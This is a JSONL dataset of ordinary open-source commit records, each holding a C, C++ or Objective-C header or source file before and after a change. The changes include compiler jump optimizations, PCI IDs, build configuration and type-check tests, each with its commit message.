{"commit":"9be8dcd2584b09ed00978daadb5ec6b597349b0d","old_file":"cc2\/optm.c","new_file":"cc2\/optm.c","old_contents":"\n#include \"arch.h\"\n#include \"cc2.h\"\n\nNode *\noptm(Node *np)\n{\n\tNode *dst;\n\n\tswitch (np->op) {\n\tcase OJMP:\n\tcase OBRANCH:\n\t\tdst = np->u.sym->u.stmt;\n\t\tif (dst->op == OJMP)\n\t\t\tnp->u.sym = dst->u.sym;\n\t\tbreak;\n\t}\n\treturn np;\n}\n","new_contents":"\n#include <stddef.h>\n\n#include \"arch.h\"\n#include \"cc2.h\"\n\nNode *\noptm(Node *np)\n{\n\tNode *p, *dst, *next = np->next;\n\tSymbol *sym, *osym;\n\n\tswitch (np->op) {\n\tcase ONOP:\n\t\tif (next && next->op == ONOP) {\n\t\t\tsym = np->u.sym;\n\t\t\tosym = next->u.sym;\n\t\t\tosym->id = sym->id;\n\t\t\tosym->numid = sym->id;\n\t\t\tosym->u.stmt = sym->u.stmt;\n\t\t\treturn NULL;\n\t\t}\n\t\tbreak;\n\tcase OJMP:\n\tcase OBRANCH:\n\t\tfor (;;) {\n\t\t\tdst = np->u.sym->u.stmt;\n\t\t\tif (dst->op != OJMP)\n\t\t\t\tbreak;\n\t\t\tnp->u.sym = dst->u.sym;\n\t\t}\n\t\tfor (p = np->next; p; p = p->next) {\n\t\t\tif (p == dst)\n\t\t\t\treturn NULL;\n\t\t\tif (p->op == ONOP ||\n\t\t\t    p->op == OBLOOP ||\n\t\t\t    p->op == OELOOP) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\t}\n\treturn np;\n}\n","subject":"Add general tree optimizations for jumps and labels","message":"[cc2] Add general tree optimizations for jumps and labels\n\nThese commit adds:\n\t- Remove consecutive labels\n\t- Jump to jump\n\t- Jump to next instruction\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"6d4e56790c4d798a66a7dd06fe381f0a2fdb6ae9","old_file":"examples\/specific\/functionOverload.h","new_file":"examples\/specific\/functionOverload.h","old_contents":"\n\/\/! Function which takes two int arguments\nvoid f(int, int);\n\n\/\/! Function which takes two double arguments\nvoid f(double, double);\n\nnamespace test {\n\n\/\/! Another function which takes two int arguments\nvoid g(int, int);\n\n\/\/! Another function which takes two double arguments\nvoid g(double, double);\n\n}\n\nclass MyType {};\n\nclass MyOtherType {};\n\n\/\/! Another function which takes a custom type\nvoid h(std::string, MyType);\n\n\/\/! Another function which takes another custom type\nvoid h(std::string, MyOtherType);\n\n\/\/! Another function which takes a basic type\nvoid h(std::string, int);\n\n","new_contents":"\n\/\/! Non overloaded function\nvoid simplefunc();\n\n\/\/! Function which takes two int arguments\nvoid f(int, int);\n\n\/\/! Function which takes two double arguments\nvoid f(double, double);\n\nnamespace test {\n\n\/\/! Another function which takes two int arguments\nvoid g(int, int);\n\n\/\/! Another function which takes two double arguments\nvoid g(double, double);\n\n}\n\nclass MyType {};\n\nclass MyOtherType {};\n\n\/\/! Another function which takes a custom type\nvoid h(std::string, MyType);\n\n\/\/! Another function which takes another custom type\nvoid h(std::string, MyOtherType);\n\n\/\/! Another function which takes a basic type\nvoid h(std::string, int);\n\n","subject":"Add simple function to test domain cpp:func","message":"Add simple function to test domain cpp:func\n\nProbably others in the examples but this does no harm and was useful for\ntesting.\n","lang":"C","license":"bsd-3-clause","repos":"kirbyfan64\/breathe,RR2DO2\/breathe,kirbyfan64\/breathe,AnthonyTruchet\/breathe,RR2DO2\/breathe,kirbyfan64\/breathe,AnthonyTruchet\/breathe,AnthonyTruchet\/breathe,kirbyfan64\/breathe,AnthonyTruchet\/breathe"}
{"commit":"c1a763c34ed4726c08a37fd2125e00d2a5a75b6f","old_file":"nix-test\/src\/sizes.c","new_file":"nix-test\/src\/sizes.c","old_contents":"#include \"sys\/socket.h\"\n#include \"sys\/uio.h\"\n\n#define SIZE_OF_T(TYPE)                   \\\n    do {                                  \\\n        if (0 == strcmp(type, #TYPE)) {   \\\n            return sizeof(TYPE);          \\\n        }                                 \\\n    } while (0)\n\n#define SIZE_OF_S(TYPE)                   \\\n    do {                                  \\\n        if (0 == strcmp(type, #TYPE)) {   \\\n            return sizeof(struct TYPE);   \\\n        }                                 \\\n    } while (0)\n\nsize_t\nsize_of(const char* type) {\n    \/\/ Builtin\n    SIZE_OF_T(long);\n\n    \/\/ sys\/socket\n    SIZE_OF_S(sockaddr_storage);\n\n    \/\/ sys\/uio\n    SIZE_OF_S(iovec);\n\n    return 0;\n}\n","new_contents":"#include <sys\/socket.h>\n#include <sys\/uio.h>\n\n#include <string.h>\n\n#define SIZE_OF_T(TYPE)                   \\\n    do {                                  \\\n        if (0 == strcmp(type, #TYPE)) {   \\\n            return sizeof(TYPE);          \\\n        }                                 \\\n    } while (0)\n\n#define SIZE_OF_S(TYPE)                   \\\n    do {                                  \\\n        if (0 == strcmp(type, #TYPE)) {   \\\n            return sizeof(struct TYPE);   \\\n        }                                 \\\n    } while (0)\n\nsize_t\nsize_of(const char* type) {\n    \/\/ Builtin\n    SIZE_OF_T(long);\n\n    \/\/ sys\/socket\n    SIZE_OF_S(sockaddr_storage);\n\n    \/\/ sys\/uio\n    SIZE_OF_S(iovec);\n\n    return 0;\n}\n","subject":"Fix a compiler warning on FreeBSD","message":"Fix a compiler warning on FreeBSD\n","lang":"C","license":"mit","repos":"berkowski\/nix,carllerche\/nix-rust,xd009642\/nix,kamalmarhubi\/nix-rust,xd009642\/nix,geofft\/nix-rust,posborne\/rust-nix,geofft\/nix-rust,MarkusJais\/nix-rust,nix-rust\/nix,kamalmarhubi\/nix-rust,posborne\/rust-nix,xd009642\/nix,carllerche\/nix-rust,asomers\/nix,MarkusJais\/nix-rust,carllerche\/nix-rust,berkowski\/nix,Susurrus\/nix,posborne\/rust-nix,kamalmarhubi\/nix-rust,MarkusJais\/nix-rust,geofft\/nix-rust,Susurrus\/nix,berkowski\/nix,nix-rust\/nix,asomers\/nix,Susurrus\/nix"}
{"commit":"dabbb71c281f0e4b0f1466396ace097a8496b45a","old_file":"some_cipher.h","new_file":"some_cipher.h","old_contents":"#ifndef SOME_CIPHER_H\n#define SOME_CIPHER_H\n\n#include <stdint.h>\n\n#define ROUNDS 7\n\nextern const uint16_t RCONS[];\nextern const uint16_t TE0[16], TE1[16], TE2[16], TE3[16], TE4[16];\nextern const uint16_t TD0[16], TD1[16], TD2[16], TD3[16], TD4[16];\nextern const uint16_t MC_INV_0[16], MC_INV_1[16], MC_INV_2[16], MC_INV_3[16];\n\nvoid encrypt(const uint16_t *input, uint16_t *output, const uint16_t *key);\nvoid decrypt(const uint16_t *input, uint16_t *output, const uint16_t *key);\n\n#endif\n","new_contents":"#ifndef SOME_CIPHER_H\n#define SOME_CIPHER_H\n\n#include <stdint.h>\n\n#define ROUNDS 6\n\nextern const uint16_t RCONS[];\nextern const uint16_t TE0[16], TE1[16], TE2[16], TE3[16], TE4[16];\nextern const uint16_t TD0[16], TD1[16], TD2[16], TD3[16], TD4[16];\nextern const uint16_t MC_INV_0[16], MC_INV_1[16], MC_INV_2[16], MC_INV_3[16];\n\nvoid encrypt(const uint16_t *input, uint16_t *output, const uint16_t *key);\nvoid decrypt(const uint16_t *input, uint16_t *output, const uint16_t *key);\n\n#endif\n","subject":"Revert \"extend to 7 rounds\"","message":"Revert \"extend to 7 rounds\"\n\nThis reverts commit 2057f426e6c2e02aa9123e63b4c00bf7c8c0f586.\n","lang":"C","license":"mit","repos":"wei2912\/aes-idc,wei2912\/aes-idc,wei2912\/idc,wei2912\/idc,wei2912\/idc,wei2912\/idc"}
{"commit":"9c3ee047dd5168c456c6b2fd6674c99b82aa04fe","old_file":"cartridge.h","new_file":"cartridge.h","old_contents":"#pragma once\n\n#include <istream>\n#include <memory>\n#include <vector>\n#include \"types.h\"\n#include \"mbc.h\"\n\nclass Cartridge\n{\n  const static size_t max_rom_size = 0x400000; \/\/ 4 MB\n  std::vector<u8> rom;\n  std::vector<u8> ram;\n  std::unique_ptr<MemoryBankController> mbc;\n\npublic:\n  Cartridge() : rom(max_rom_size), ram(0x2000), mbc(new MBC1(rom, ram)) {}\n\n  void load_rom(std::istream& src)\n  {\n    src.read(reinterpret_cast<char *>(rom.data()), max_rom_size);\n  }\n\n  u8 get8(uint address) const\n  {\n    return mbc->get8(address);\n  }\n\n  void set8(uint address, u8 value)\n  {\n    mbc->set8(address, value);\n  }\n};\n","new_contents":"#pragma once\n\n#include <istream>\n#include <memory>\n#include <vector>\n#include \"types.h\"\n#include \"mbc.h\"\n\nclass Cartridge\n{\n  const static size_t max_rom_size = 0x400000; \/\/ 4 MB\n  std::vector<u8> rom;\n  std::vector<u8> ram;\n  std::unique_ptr<MemoryBankController> mbc;\n\npublic:\n  Cartridge() : rom(max_rom_size), ram(0x20000), mbc(new MBC1(rom, ram)) { }\n\n  void load_rom(std::istream& src)\n  {\n    src.read(reinterpret_cast<char *>(rom.data()), max_rom_size);\n  }\n\n  u8 get8(uint address) const\n  {\n    return mbc->get8(address);\n  }\n\n  void set8(uint address, u8 value)\n  {\n    mbc->set8(address, value);\n  }\n};\n","subject":"Make RAM 128KB - big enough for any game","message":"Cartridge: Make RAM 128KB - big enough for any game\n","lang":"C","license":"mit","repos":"alastair-robertson\/gameboy,alastair-robertson\/gameboy,alastair-robertson\/gameboy"}
{"commit":"f1d12e7392896f45a76df87b6ad0bf18647922df","old_file":"include\/pci_ids\/virtio_gpu_pci_ids.h","new_file":"include\/pci_ids\/virtio_gpu_pci_ids.h","old_contents":"CHIPSET(0x0010, VIRTGL, VIRTGL)\n","new_contents":"CHIPSET(0x0010, VIRTGL, VIRTGL)\nCHIPSET(0x1050, VIRTGL, VIRTGL)\n","subject":"Add virtio 1.0 PCI ID to driver map","message":"virtio_gpu: Add virtio 1.0 PCI ID to driver map\n\nAdd the virtio-gpu PCI ID for virtio 1.0 (according to the\nspecification, \"the PCI Device ID is calculated by adding 0x1040 to the\nVirtio Device ID\")\n\nSupport for virtio 1.0 was added in qemu 2.4 (same time virtio-gpu\nlanded).\n\nCc: \"11.1 11.2\" <59f39c0db42d4479a46b02d4d2bc11120e37bb44@lists.freedesktop.org>\nSigned-off-by: Marc-André Lureau <a6f2b960a4aca61381fc650a67901b2ac8e83e6d@redhat.com>\nReviewed-by: Emil Velikov <f20878473f414da183da19ee25c8722cc1d711e4@collabora.com>\n","lang":"C","license":"mit","repos":"metora\/MesaGLSLCompiler,metora\/MesaGLSLCompiler,metora\/MesaGLSLCompiler"}
{"commit":"1eba4c3d6cbff506ed61c17b93db45bbf196b8d8","old_file":"platforms\/ios\/framework\/TangramMap.h","new_file":"platforms\/ios\/framework\/TangramMap.h","old_contents":"\/\/\n\/\/  TangramMap.h\n\/\/  TangramMap\n\/\/\n\/\/  Created by Matt Smollinger on 7\/8\/16.\n\/\/\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/\/ Project version number for TangramMap.\nFOUNDATION_EXPORT double TangramMapVersionNumber;\n\n\/\/\/ Project version string for TangramMap.\nFOUNDATION_EXPORT const unsigned char TangramMapVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <TangramMap\/PublicHeader.h>\n\n#import <TangramMap\/TGMapViewController.h>\n","new_contents":"\/\/\n\/\/  TangramMap.h\n\/\/  TangramMap\n\/\/\n\/\/  Created by Matt Smollinger on 7\/8\/16.\n\/\/  Updated by Karim Naaji on 2\/28\/17.\n\/\/  Copyright (c) 2017 Mapzen. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/\/ Project version number for TangramMap.\nFOUNDATION_EXPORT double TangramMapVersionNumber;\n\n\/\/\/ Project version string for TangramMap.\nFOUNDATION_EXPORT const unsigned char TangramMapVersionString[];\n\n#import <TangramMap\/TGMapViewController.h>\n#import <TangramMap\/TGMapData.h>\n#import <TangramMap\/TGGeoPoint.h>\n#import <TangramMap\/TGGeoPolygon.h>\n#import <TangramMap\/TGGeoPolyline.h>\n#import <TangramMap\/TGEaseType.h>\n#import <TangramMap\/TGHttpHandler.h>\n#import <TangramMap\/TGMarker.h>\n#import <TangramMap\/TGMapData.h>\n#import <TangramMap\/TGSceneUpdate.h>\n#import <TangramMap\/TGMarkerPickResult.h>\n#import <TangramMap\/TGLabelPickResult.h>\n\n","subject":"Update umbrella header with public interface","message":"Update umbrella header with public interface\n","lang":"C","license":"mit","repos":"quitejonny\/tangram-es,cleeus\/tangram-es,quitejonny\/tangram-es,quitejonny\/tangram-es,cleeus\/tangram-es,cleeus\/tangram-es,cleeus\/tangram-es,quitejonny\/tangram-es,tangrams\/tangram-es,quitejonny\/tangram-es,cleeus\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,quitejonny\/tangram-es,tangrams\/tangram-es,cleeus\/tangram-es"}
{"commit":"01a3e9afd47cef7924024e7c56eba732f49cf972","old_file":"source\/common\/typedefs.h","new_file":"source\/common\/typedefs.h","old_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef COMMON_TYPEDEFS_H\n#define COMMON_TYPEDEFS_H\n\ntypedef unsigned char byte;\ntypedef unsigned char uint8;\ntypedef signed char int8;\n\ntypedef unsigned short uint16;\ntypedef signed short int16;\n\ntypedef unsigned int uint32;\ntypedef signed int int32;\ntypedef unsigned int uint;\n\ntypedef __int64\t\t\t\tint64;\ntypedef unsigned __int64\tuint64;\n\n#endif\n","new_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef COMMON_TYPEDEFS_H\n#define COMMON_TYPEDEFS_H\n\ntypedef unsigned char byte;\ntypedef unsigned char uint8;\ntypedef signed char int8;\n\ntypedef unsigned short uint16;\ntypedef signed short int16;\n\ntypedef unsigned int uint32;\ntypedef signed int int32;\ntypedef unsigned int uint;\n\ntypedef __int64\t\t\t\tint64;\ntypedef unsigned __int64\tuint64;\n\nnamespace DisposeAfterUse {\n\tenum Flag { NO, YES };\n}\n\n#endif\n","subject":"Add namespace and enum for signaling auto-disposing","message":"COMMON: Add namespace and enum for signaling auto-disposing\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/thehalflingproject,RichieSams\/thehalflingproject,RichieSams\/thehalflingproject"}
{"commit":"faf3bc1eabc938b3ed9fa898b08ed8a9c47fb77e","old_file":"project_config\/lmic_project_config.h","new_file":"project_config\/lmic_project_config.h","old_contents":"\/\/ project-specific definitions for otaa sensor\n\/\/#define CFG_eu868 1\n\/\/#define CFG_us915 1\n\/\/#define CFG_au921 1\n#define CFG_as923 1\n#define LMIC_COUNTRY_CODE   LMIC_COUNTRY_CODE_JP\n\/\/#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n#define LMIC_DEBUG_LEVEL 2\n#define LMIC_DEBUG_PRINTF_FN lmic_printf\n","new_contents":"\/\/ project-specific definitions for otaa sensor\n\/\/#define CFG_eu868 1\n#define CFG_us915 1\n\/\/#define CFG_au921 1\n\/\/#define CFG_as923 1\n\/\/#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n","subject":"Set project_config back to defaults","message":"Set project_config back to defaults\n","lang":"C","license":"mit","repos":"mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic"}
{"commit":"2757ab9ebaba347019468e3362abb4deee324140","old_file":"ios\/RCTOneSignal\/RCTOneSignalEventEmitter.h","new_file":"ios\/RCTOneSignal\/RCTOneSignalEventEmitter.h","old_contents":"#if __has_include(<React\/RCTBridgeModule.h>)\n#import <React\/RCTBridgeModule.h>\n#import <React\/RCTEventEmitter.h>\n#import <React\/RCTConvert.h>\n#import <React\/RCTEventDispatcher.h>\n#import <React\/RCTUtils.h>\n#elif __has_include(\"RCTBridgeModule.h\")\n#import \"RCTBridgeModule.h\"\n#import \"RCTEventEmitter.h\"\n#import \"RCTConvert.h\"\n#import \"RCTEventDispatcher.h\"\n#import \"RCTUtils.h\"\n#endif\n\ntypedef NS_ENUM(NSInteger, OSNotificationEventTypes) {\n    NotificationReceived,\n    NotificationOpened,\n    IdsAvailable,\n    EmailSubscriptionChanged\n};\n\n#define OSNotificationEventTypesArray @[@\"OneSignal-remoteNotificationReceived\",@\"OneSignal-remoteNotificationOpened\",@\"OneSignal-idsAvailable\",@\"OneSignal-emailSubscription\"]\n#define OSEventString(enum) [OSNotificationEventTypesArray objectAtIndex:enum]\n\n\n@interface RCTOneSignalEventEmitter : RCTEventEmitter <RCTBridgeModule>\n\n+ (void)sendEventWithName:(NSString *)name withBody:(NSDictionary *)body;\n+ (BOOL)hasSetBridge;\n\n@end\n","new_contents":"#if __has_include(<React\/RCTBridgeModule.h>)\n#import <React\/RCTBridgeModule.h>\n#import <React\/RCTEventEmitter.h>\n#import <React\/RCTConvert.h>\n#import <React\/RCTEventDispatcher.h>\n#import <React\/RCTUtils.h>\n#elif __has_include(\"RCTBridgeModule.h\")\n#import \"RCTBridgeModule.h\"\n#import \"RCTEventEmitter.h\"\n#import \"RCTConvert.h\"\n#import \"RCTEventDispatcher.h\"\n#import \"RCTUtils.h\"\n#endif\n\ntypedef NS_ENUM(NSInteger, OSNotificationEventTypes) {\n    NotificationReceived,\n    NotificationOpened,\n    IdsAvailable,\n    EmailSubscriptionChanged,\n    InAppMessageClicked\n};\n\n#define OSNotificationEventTypesArray @[@\"OneSignal-remoteNotificationReceived\",@\"OneSignal-remoteNotificationOpened\",@\"OneSignal-idsAvailable\",@\"OneSignal-emailSubscription\",@\"OneSignal-inAppMessageClicked\"]\n#define OSEventString(enum) [OSNotificationEventTypesArray objectAtIndex:enum]\n\n@interface RCTOneSignalEventEmitter : RCTEventEmitter <RCTBridgeModule>\n\n+ (void)sendEventWithName:(NSString *)name withBody:(NSDictionary *)body;\n+ (BOOL)hasSetBridge;\n\n@end\n","subject":"Add InAppMessage event to iOS","message":"Add InAppMessage event to iOS\n\n","lang":"C","license":"mit","repos":"geektimecoil\/react-native-onesignal,geektimecoil\/react-native-onesignal,geektimecoil\/react-native-onesignal"}
{"commit":"4aec2351e289f194628e188b103800a08c6e829a","old_file":"bigtable\/api\/parse_taq_line.h","new_file":"bigtable\/api\/parse_taq_line.h","old_contents":"\/\/ Copyright 2017 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef parse_taq_line_h\n#define parse_taq_line_h\n\n#include \"taq.pb.h\"\n\n#include <utility>\n\nnamespace bigtable_api_samples {\n\/\/ Parse a line from a TAQ file and convert it to a quote.\nQuote parse_taq_line(int lineno, std::string const& line);\n} \/\/ namespace bigtable_api_samples\n\n#endif \/\/ parse_taq_line_h\n","new_contents":"\/\/ Copyright 2017 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef parse_taq_line_h\n#define parse_taq_line_h\n\n#include \"taq.pb.h\"\n\n#include <utility>\n\nnamespace bigtable_api_samples {\n\/\/ Parse a line from a TAQ file and convert it to a quote.\n\/\/\n\/\/ TAQ files are delimiter (using '|' as the delimiter) separated text\n\/\/ files, using this format:\n\/\/\n\/\/ timestamp|exchange|ticker|bid price|bid qty|offer price|offer qty|...\n\/\/ 093000123456789|K|GOOG|800.00|100|900.00|200|...\n\/\/ ...\n\/\/ END|20161024|78721395|||||||||||||||||||||||||\n\/\/\n\/\/ The first line is a header, it defines the fields, each line\n\/\/ contains all the data for a quote, in this example we are only\n\/\/ interested in the first few fields, the last line is indicated by\n\/\/ the 'END' marker, it contains the date (timestamps are relative to\n\/\/ midnight on this date), and the total number of lines.\nQuote parse_taq_line(int lineno, std::string const& line);\n} \/\/ namespace bigtable_api_samples\n\n#endif \/\/ parse_taq_line_h\n","subject":"Document the format of the TAQ file.","message":"Document the format of the TAQ file.\n","lang":"C","license":"apache-2.0","repos":"GoogleCloudPlatform\/cpp-samples,GoogleCloudPlatform\/cpp-samples,GoogleCloudPlatform\/cpp-samples,GoogleCloudPlatform\/cpp-samples"}
{"commit":"825e37c37ee43710ec48e28915395c571cb42366","old_file":"cint\/inc\/cintdictversion.h","new_file":"cint\/inc\/cintdictversion.h","old_contents":"","new_contents":"\/***********************************************************************\n * cint (C\/C++ interpreter)\n ************************************************************************\n * CINT header file cintdictversion.h\n ************************************************************************\n * Description:\n *  definition of the dictionary API version\n ************************************************************************\n * Copyright(c) 1995~2008  Masaharu Goto (cint@pcroot.cern.ch)\n *\n * For the licensing terms see the file COPYING\n *\n ************************************************************************\/\n\n#ifndef INCLUDE_CINTDICTVERSION\n#define INCLUDE_CINTDICTVERSION\n\n#define G__CINTDICTVERSION 2008-01-21\n\n#endif \/* INCLUDE_CINTDICTVERSION *\/\n","subject":"Add a tag (dummy) header file that will be updated whenever CINT's dictionaries need to be regenerated.","message":"Add a tag (dummy) header file that will be updated whenever CINT's dictionaries need to be regenerated.\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@21793 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT"}
{"commit":"ea1faeed8ecf8780e7b23f07a27b9c8e3e63d82c","old_file":"swephelp\/swhwin.h","new_file":"swephelp\/swhwin.h","old_contents":"\/*\n    Swephelp\n\n    Copyright 2007-2014 Stanislas Marquis <smarquis@astrorigin.ch>\n\n    Swephelp is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU General Public License as\n    published by the Free Software Foundation; either version 2 of\n    the License, or (at your option) any later version.\n\n    Swephelp is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with Swephelp.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n\/** @file swhwin.h\n** @brief swephelp windowz specific header\n*\/\n\n#ifndef SWHWIN_H\n#define SWHWIN_H\n\n#ifdef WIN32\n\n#define lround(num) \\\n        ((long)(num > 0 ? num + 0.5 : ceil(num - 0.5)))\n\n#endif \/* WIN32 *\/\n#endif \/* SWHWIN_H *\/\n\/* vi: set fenc=utf8 ff=unix et sw=4 ts=4 sts=4 : *\/\n","new_contents":"\/*\n    Swephelp\n\n    Copyright 2007-2014 Stanislas Marquis <smarquis@astrorigin.ch>\n\n    Swephelp is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU General Public License as\n    published by the Free Software Foundation; either version 2 of\n    the License, or (at your option) any later version.\n\n    Swephelp is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with Swephelp.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n\/** @file swhwin.h\n** @brief swephelp windowz specific header\n*\/\n\n\/* define WIN32 for MSVC compilers *\/\n#ifdef _WIN32\n#define WIN32\n#endif\n\n#ifndef SWHWIN_H\n#define SWHWIN_H\n\n#ifdef WIN32\n\n#define lround(num) \\\n        ((long)(num > 0 ? num + 0.5 : ceil(num - 0.5)))\n\n#endif \/* WIN32 *\/\n#endif \/* SWHWIN_H *\/\n\/* vi: set fenc=utf8 ff=unix et sw=4 ts=4 sts=4 : *\/\n","subject":"Define WIN32 for MSVC compilers","message":"Define WIN32 for MSVC compilers\n\nMicrosoft Visual C++ compilers define _WIN32 (with underscore) instead\nof WIN32 as gcc does when compiling on Windows. Pyswisseph fails to\ncompile with MSVC compiler.\n\nThis patch forces WIN32 to be defined if _WIN32 is defined by the MSVC\ncompiler.\n","lang":"C","license":"agpl-3.0","repos":"astrorigin\/pyswisseph,astrorigin\/pyswisseph"}
{"commit":"f8e8e58902fbaa14e2ea7c8a317747197d53bf37","old_file":"src\/processes\/helpers\/image\/macros.h","new_file":"src\/processes\/helpers\/image\/macros.h","old_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PROCESSES_HELPER_IMAGE_MACROS_H\n#define VISTK_PROCESSES_HELPER_IMAGE_MACROS_H\n\n#include <boost\/cstdint.hpp>\n\n\/**\n * \\file macros.h\n *\n * \\brief Macros to help manage templates.\n *\/\n\n#define TYPE_CHECK(type, name, function)     \\\n  if (pixtype == pixtypes::pixtype_##name()) \\\n  {                                          \\\n    return &function<type>;                  \\\n  }\n\n#define SPECIFY_FUNCTION(function)    \\\n  TYPE_CHECK(bool, bool, function)    \\\n  TYPE_CHECK(uint8_t, byte, function) \\\n  TYPE_CHECK(float, float, function)  \\\n  TYPE_CHECK(double, double, function)\n\n#endif \/\/ VISTK_PROCESSES_HELPER_IMAGE_MACROS_H\n","new_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PROCESSES_HELPER_IMAGE_MACROS_H\n#define VISTK_PROCESSES_HELPER_IMAGE_MACROS_H\n\n#include <boost\/cstdint.hpp>\n\n\/**\n * \\file macros.h\n *\n * \\brief Macros to help manage templates.\n *\/\n\n#define TYPE_CHECK(type, name, function)     \\\n  if (pixtype == pixtypes::pixtype_##name()) \\\n  {                                          \\\n    return &function<type>;                  \\\n  }\n\n#define SPECIFY_FUNCTION(function)         \\\n  TYPE_CHECK(bool, bool, function)         \\\n  else TYPE_CHECK(uint8_t, byte, function) \\\n  else TYPE_CHECK(float, float, function)  \\\n  else TYPE_CHECK(double, double, function)\n\n#endif \/\/ VISTK_PROCESSES_HELPER_IMAGE_MACROS_H\n","subject":"Use else in comparison chain","message":"Use else in comparison chain\n","lang":"C","license":"bsd-3-clause","repos":"Kitware\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit"}
{"commit":"f9b5db764f7c403b5b47a546d69bf7c35d6bbfae","old_file":"test2\/arrays\/qualified_type_checks.c","new_file":"test2\/arrays\/qualified_type_checks.c","old_contents":"","new_contents":"\/\/ RUN: %ucc -fsyntax-only %s\n\ntypedef int array[3];\n\nconst array yo; \/\/ int const yo[3];\n\/\/                             ^~ no const here\n\nh(array); \/\/ int h(int [3]);\n\ni(const array); \/\/ int i(int const [3]);\n\/\/                                 ^~ no const here\n\nj(int[const]); \/\/ int j(int *const);\n\n\n_Static_assert(_Generic(yo, const int[3]: 1) == 1, \"\");\n\n_Static_assert(_Generic(&h, int (*)(int[3]): 1) == 1, \"\");\n_Static_assert(_Generic(&h, int (*)(int const[3]): 1, default: 2) == 2, \"\");\n_Static_assert(_Generic(&h, int (*)(int *const): 1) == 1, \"\");\n_Static_assert(_Generic(&h, int (*)(int *): 1) == 1, \"\");\n\n_Static_assert(_Generic(&i, int (*)(int const[3]): 1) == 1, \"\");\n_Static_assert(_Generic(&i, int (*)(int      [3]): 1, default: 2) == 2, \"\");\n_Static_assert(_Generic(&i, int (*)(int const *): 1) == 1, \"\");\n_Static_assert(_Generic(&i, int (*)(int const *const): 1) == 1, \"\");\n\n_Static_assert(_Generic(&j, int (*)(int *const): 1) == 1, \"\");\n_Static_assert(_Generic(&j, int (*)(int [const]): 1) == 1, \"\");\n_Static_assert(_Generic(&j, int (*)(int const *const): 1, default: 2) == 2, \"\");\n_Static_assert(_Generic(&j, int (*)(int const [const]): 1, default: 2) == 2, \"\");\n","subject":"Add function parameter qualifier type tests","message":"Add function parameter qualifier type tests\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
